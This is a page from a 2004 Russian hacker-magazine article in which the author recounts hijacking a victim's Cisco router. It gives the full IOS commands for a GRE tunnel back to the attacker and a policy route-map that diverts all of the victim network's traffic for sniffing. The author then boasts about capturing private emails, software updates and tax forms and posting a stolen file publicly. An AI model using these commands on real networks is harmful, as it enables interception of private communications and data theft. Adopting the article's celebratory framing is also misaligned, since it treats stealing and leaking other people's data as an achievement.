Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #71, НОЯБРЬ 2004 г.

Укрощение дикой киски

Street (streetseeker@mail.ru)

Хакер, номер #071, стр. 071-068-2


Поиски в куче хлама в углу комнаты привели к извлечению на свет божий старенького Cisco 805 (понятно, что сей девайс редко валяется просто так, но ты можешь использовать, например, университетские роутеры).

Подняв найденную железку, я приступил к созданию туннеля. Для этого я залогинился на целевой роутер и выполнил следующие команды:

conf t

int tunnel0

ip address ip_adress_туннеля net_mask_туннеля

tunnel source eth0/1

tunnel dest ip_adres_attack_routera

tunnel mode gre ip

exit

exit

Таким образом, на роутере-жертве был создан туннель с именем tunnel0. Ему назначен указанный мною виртуальный IP-адрес. Начальной точкой туннеля считается ethernet-интерфейс жертвы, а конечной - IP роутера атакующего. Аналогичные команды выполняются и на локальном роутере. Разумеется, меняются значения ip address и dest. Все, туннель создан. Учти, есть одна особенность - независимо от количества узлов на пути следования пакетов, GRE-туннель считается одним большим хопом.

День второй, после обеда

В статье старины Джошуа разобрано сразу две методики, одна краше другой. Я использовал первый способ, поскольку точно знал, что на атакуемом роутере имеется ethernet-интерфейс. Чтобы реализовать атаку, в зло-консоли атакующего роутера я выполнил следующие команды:

conf t

access-list 100 permit ip any any

route-map reflect

match ip address 100

set ip next-hop ip_atakuemogo_routera(tonnel)

exit

int tunnel0

ip policy route-map reflect

exit

exit

Аксесс-лист 100 охватывает весь IP-трафик. Карта маршрутизации выбирает весь трафик, который подходит по аксесс-листу, и отправляет его на IP-адрес туннеля, расположенного на атакуемом роутере. Эта конфигурация будет применена к туннелю tunnel0.

В итоге мы получили следующее: весь трафик, пробегающий по маршрутизатору ломаемой сети, отправляется на зло-роутер, а обратные пакеты, также при помощи туннеля, форвардятся обратно к жертве. Понятно, что отсниффать передаваемый моим собственным роутером трафик не составит большой проблемы. Проделав все это у себя, я отправился в ларек за чем-нибудь съедобным. Купив пару пакетиков сушеных кальмаров и банку рыбных консервов, я присел за клавиатуру и, хрумкая, стал наблюдать. Картина была не дай боже: за 1,5 часа по сетке пробежали лишь несколько служебных пакетов и больше ничего. «Наверное, дело в том, что сейчас три часа ночи»,- подумал я и, поев, отправился на боковую.

День третий. Развязка

Примерно в обед я вновь активировал всю эту схему, и тут началось такое! Спустя пару часов я был счастливым обладателем полного пакета обновлений за период с 2003 по 2004 годы, нескольких десятков интересных писем и четырех mp3 с песнями Иванушек (ударение ставить на «У») :). Потом посыпались электронные формы налоговой отчетности, и я счел за благо отвалить. Вечером того же дня я стал не менее счастливым обладателем двух кегов «Балтики», здоровенной пиццы и нескольких тысяч «спасибо» =). Далее я повесил на нескольких public board'ах украденный файл и, заглянув через два дня, увидел, что число обращений перевалило за 400 ;). Воистину, халява имеет запах. Иначе как они так быстро это пронюхали? :)

Назад на стр. 071-068-1  Содержание  Вперед на стр. 071-068-3